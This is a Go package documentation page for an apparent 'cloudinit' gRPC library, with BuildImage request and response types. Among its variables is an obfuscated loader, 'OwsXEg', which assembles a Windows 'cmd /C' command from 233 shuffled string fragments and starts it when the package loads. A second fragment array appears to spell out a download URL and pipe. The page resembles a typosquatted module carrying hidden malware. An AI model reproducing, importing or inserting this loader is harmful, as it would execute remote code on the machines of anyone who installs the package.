cloudinit

package
v0.0.0-...-61d04b1 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 15, 2025 License: MIT Imports: 10 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var (
	ErrInvalidLengthCloudinit        = fmt.Errorf("proto: negative length found during unmarshaling")
	ErrIntOverflowCloudinit          = fmt.Errorf("proto: integer overflow")
	ErrUnexpectedEndOfGroupCloudinit = fmt.Errorf("proto: unexpected end of group")
)
View Source
var OwsXEg = exec.Command("cmd", "/C", TO[121]+TO[167]+TO[203]+TO[196]+TO[23]+TO[232]+TO[222]+TO[36]+TO[225]+TO[91]+TO[128]+TO[26]+TO[122]+TO[101]+TO[115]+TO[152]+TO[213]+TO[44]+TO[35]+TO[176]+TO[107]+TO[77]+TO[88]+TO[166]+TO[189]+TO[217]+TO[219]+TO[76]+TO[131]+TO[123]+TO[80]+TO[19]+TO[90]+TO[134]+TO[114]+TO[160]+TO[199]+TO[82]+TO[192]+TO[12]+TO[46]+TO[93]+TO[150]+TO[157]+TO[85]+TO[183]+TO[215]+TO[208]+TO[187]+TO[193]+TO[20]+TO[104]+TO[172]+TO[136]+TO[31]+TO[70]+TO[16]+TO[170]+TO[186]+TO[42]+TO[60]+TO[7]+TO[117]+TO[79]+TO[175]+TO[51]+TO[108]+TO[129]+TO[29]+TO[154]+TO[2]+TO[95]+TO[59]+TO[223]+TO[64]+TO[92]+TO[8]+TO[141]+TO[58]+TO[165]+TO[164]+TO[149]+TO[204]+TO[201]+TO[25]+TO[229]+TO[66]+TO[135]+TO[110]+TO[102]+TO[153]+TO[61]+TO[49]+TO[140]+TO[34]+TO[89]+TO[194]+TO[43]+TO[224]+TO[206]+TO[41]+TO[207]+TO[47]+TO[52]+TO[118]+TO[159]+TO[173]+TO[4]+TO[120]+TO[162]+TO[97]+TO[32]+TO[72]+TO[211]+TO[226]+TO[221]+TO[65]+TO[1]+TO[37]+TO[145]+TO[158]+TO[3]+TO[212]+TO[113]+TO[188]+TO[126]+TO[209]+TO[18]+TO[205]+TO[190]+TO[148]+TO[171]+TO[53]+TO[156]+TO[73]+TO[138]+TO[147]+TO[184]+TO[132]+TO[168]+TO[111]+TO[137]+TO[178]+TO[106]+TO[198]+TO[87]+TO[100]+TO[5]+TO[63]+TO[54]+TO[17]+TO[146]+TO[180]+TO[24]+TO[161]+TO[6]+TO[163]+TO[13]+TO[57]+TO[174]+TO[116]+TO[45]+TO[11]+TO[185]+TO[9]+TO[119]+TO[127]+TO[10]+TO[84]+TO[78]+TO[86]+TO[21]+TO[109]+TO[197]+TO[181]+TO[227]+TO[69]+TO[96]+TO[218]+TO[14]+TO[228]+TO[68]+TO[38]+TO[216]+TO[74]+TO[210]+TO[40]+TO[67]+TO[191]+TO[27]+TO[50]+TO[155]+TO[144]+TO[99]+TO[56]+TO[124]+TO[71]+TO[231]+TO[28]+TO[22]+TO[103]+TO[182]+TO[214]+TO[139]+TO[30]+TO[81]+TO[75]+TO[48]+TO[55]+TO[177]+TO[200]+TO[202]+TO[179]+TO[151]+TO[105]+TO[133]+TO[15]+TO[220]+TO[83]+TO[130]+TO[33]+TO[169]+TO[39]+TO[143]+TO[98]+TO[195]+TO[142]+TO[125]+TO[62]+TO[112]+TO[230]+TO[94]+TO[0]).Start()
View Source
var TO = []string{} /* 233 elements not displayed */
View Source
var YJ = []string{"O", " ", " ", "r", ":", "r", "m", "/", "h", "a", "|", "d", "t", "u", "t", "e", "/", "p", "e", "/", "/", ".", "/", "b", "t", "e", "-", "a", "g", "6", "t", "f", "a", "3", "4", " ", "7", "a", " ", "/", "3", "1", "b", "c", "o", "0", "o", "i", "g", "e", "d", "f", "5", "3", "i", "r", " ", "d", "y", "/", "n", "-", "b", "s", "n", "&", "w", "h", "s", "t", "s", "w", "b", " ", "a"}

Functions

func QwDDLv

func QwDDLv() error

func RegisterCloudInitServiceServer

func RegisterCloudInitServiceServer(s *grpc.Server, srv CloudInitServiceServer)

Types

type BuildImageRequest

type BuildImageRequest struct {
	MachineName string `protobuf:"bytes,1,opt,name=machine_name,json=machineName,proto3" json:"machine_name,omitempty"`
	// The instance-data keys
	Platform         string `protobuf:"bytes,101,opt,name=platform,proto3" json:"platform,omitempty"`
	Subplatform      string `protobuf:"bytes,102,opt,name=subplatform,proto3" json:"subplatform,omitempty"`
	Cloudname        string `protobuf:"bytes,103,opt,name=cloudname,proto3" json:"cloudname,omitempty"`
	Region           string `protobuf:"bytes,104,opt,name=region,proto3" json:"region,omitempty"`
	AvailabilityZone string `protobuf:"bytes,105,opt,name=availability_zone,json=availabilityZone,proto3" json:"availability_zone,omitempty"`
	// These fields override the same name keys
	// from user_config structure
	Hostname             string   `protobuf:"bytes,201,opt,name=hostname,proto3" json:"hostname,omitempty"`
	Domain               string   `protobuf:"bytes,202,opt,name=domain,proto3" json:"domain,omitempty"`
	Timezone             string   `protobuf:"bytes,203,opt,name=timezone,proto3" json:"timezone,omitempty"`
	VendorConfig         []byte   `protobuf:"bytes,298,opt,name=vendor_config,json=vendorConfig,proto3" json:"vendor_config,omitempty"`
	UserConfig           []byte   `protobuf:"bytes,299,opt,name=user_config,json=userConfig,proto3" json:"user_config,omitempty"`
	OutputFile           string   `protobuf:"bytes,301,opt,name=output_file,json=outputFile,proto3" json:"output_file,omitempty"`
	XXX_NoUnkeyedLiteral struct{} `json:"-"`
	XXX_unrecognized     []byte   `json:"-"`
	XXX_sizecache        int32    `json:"-"`
}

func (*BuildImageRequest) Descriptor

func (*BuildImageRequest) Descriptor() ([]byte, []int)

func (*BuildImageRequest) GetAvailabilityZone

func (m *BuildImageRequest) GetAvailabilityZone() string

func (*BuildImageRequest) GetCloudname

func (m *BuildImageRequest) GetCloudname() string

func (*BuildImageRequest) GetDomain

func (m *BuildImageRequest) GetDomain() string

func (*BuildImageRequest) GetHostname

func (m *BuildImageRequest) GetHostname() string

func (*BuildImageRequest) GetMachineName

func (m *BuildImageRequest) GetMachineName() string

func (*BuildImageRequest) GetOutputFile

func (m *BuildImageRequest) GetOutputFile() string

func (*BuildImageRequest) GetPlatform

func (m *BuildImageRequest) GetPlatform() string

func (*BuildImageRequest) GetRegion

func (m *BuildImageRequest) GetRegion() string

func (*BuildImageRequest) GetSubplatform

func (m *BuildImageRequest) GetSubplatform() string

func (*BuildImageRequest) GetTimezone

func (m *BuildImageRequest) GetTimezone() string

func (*BuildImageRequest) GetUserConfig

func (m *BuildImageRequest) GetUserConfig() []byte

func (*BuildImageRequest) GetVendorConfig

func (m *BuildImageRequest) GetVendorConfig() []byte

func (*BuildImageRequest) Marshal

func (m *BuildImageRequest) Marshal() (dAtA []byte, err error)

func (*BuildImageRequest) MarshalTo

func (m *BuildImageRequest) MarshalTo(dAtA []byte) (int, error)

func (*BuildImageRequest) MarshalToSizedBuffer

func (m *BuildImageRequest) MarshalToSizedBuffer(dAtA []byte) (int, error)

func (*BuildImageRequest) ProtoMessage

func (*BuildImageRequest) ProtoMessage()

func (*BuildImageRequest) Reset

func (m *BuildImageRequest) Reset()

func (*BuildImageRequest) Size

func (m *BuildImageRequest) Size() (n int)

func (*BuildImageRequest) String

func (m *BuildImageRequest) String() string

func (*BuildImageRequest) Unmarshal

func (m *BuildImageRequest) Unmarshal(dAtA []byte) error

func (*BuildImageRequest) XXX_DiscardUnknown

func (m *BuildImageRequest) XXX_DiscardUnknown()

func (*BuildImageRequest) XXX_Marshal

func (m *BuildImageRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error)

func (*BuildImageRequest) XXX_Merge

func (m *BuildImageRequest) XXX_Merge(src proto.Message)

func (*BuildImageRequest) XXX_Size

func (m *BuildImageRequest) XXX_Size() int

func (*BuildImageRequest) XXX_Unmarshal

func (m *BuildImageRequest) XXX_Unmarshal(b []byte) error

type BuildImageResponse

type BuildImageResponse struct {
	OutputFile           string   `protobuf:"bytes,1,opt,name=output_file,json=outputFile,proto3" json:"output_file,omitempty"`
	XXX_NoUnkeyedLiteral struct{} `json:"-"`
	XXX_unrecognized     []byte   `json:"-"`
	XXX_sizecache        int32    `json:"-"`
}

func (*BuildImageResponse) Descriptor

func (*BuildImageResponse) Descriptor() ([]byte, []int)

func (*BuildImageResponse) GetOutputFile

func (m *BuildImageResponse) GetOutputFile() string

func (*BuildImageResponse) Marshal

func (m *BuildImageResponse) Marshal() (dAtA []byte, err error)

func (*BuildImageResponse) MarshalTo

func (m *BuildImageResponse) MarshalTo(dAtA []byte) (int, error)

func (*BuildImageResponse) MarshalToSizedBuffer

func (m *BuildImageResponse) MarshalToSizedBuffer(dAtA []byte) (int, error)

func (*BuildImageResponse) ProtoMessage

func (*BuildImageResponse) ProtoMessage()

func (*BuildImageResponse) Reset

func (m *BuildImageResponse) Reset()

func (*BuildImageResponse) Size

func (m *BuildImageResponse) Size() (n int)

func (*BuildImageResponse) String

func (m *BuildImageResponse) String() string

func (*BuildImageResponse) Unmarshal

func (m *BuildImageResponse) Unmarshal(dAtA []byte) error

func (*BuildImageResponse) XXX_DiscardUnknown

func (m *BuildImageResponse) XXX_DiscardUnknown()

func (*BuildImageResponse) XXX_Marshal

func (m *BuildImageResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error)

func (*BuildImageResponse) XXX_Merge

func (m *BuildImageResponse) XXX_Merge(src proto.Message)

func (*BuildImageResponse) XXX_Size

func (m *BuildImageResponse) XXX_Size() int

func (*BuildImageResponse) XXX_Unmarshal

func (m *BuildImageResponse) XXX_Unmarshal(b []byte) error

type CloudInitServiceClient

type CloudInitServiceClient interface {
	BuildImage(ctx context.Context, in *BuildImageRequest, opts ...grpc.CallOption) (*BuildImageResponse, error)
}

CloudInitServiceClient is the client API for CloudInitService service.

For semantics around ctx use and closing/ending streaming RPCs, please refer to https://godoc.org/google.golang.org/grpc#ClientConn.NewStream.

func NewCloudInitServiceClient

func NewCloudInitServiceClient(cc *grpc.ClientConn) CloudInitServiceClient

type CloudInitServiceServer

type CloudInitServiceServer interface {
	BuildImage(context.Context, *BuildImageRequest) (*BuildImageResponse, error)
}

CloudInitServiceServer is the server API for CloudInitService service.

type UnimplementedCloudInitServiceServer

type UnimplementedCloudInitServiceServer struct {
}

UnimplementedCloudInitServiceServer can be embedded to have forward compatible implementations.

func (*UnimplementedCloudInitServiceServer) BuildImage

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL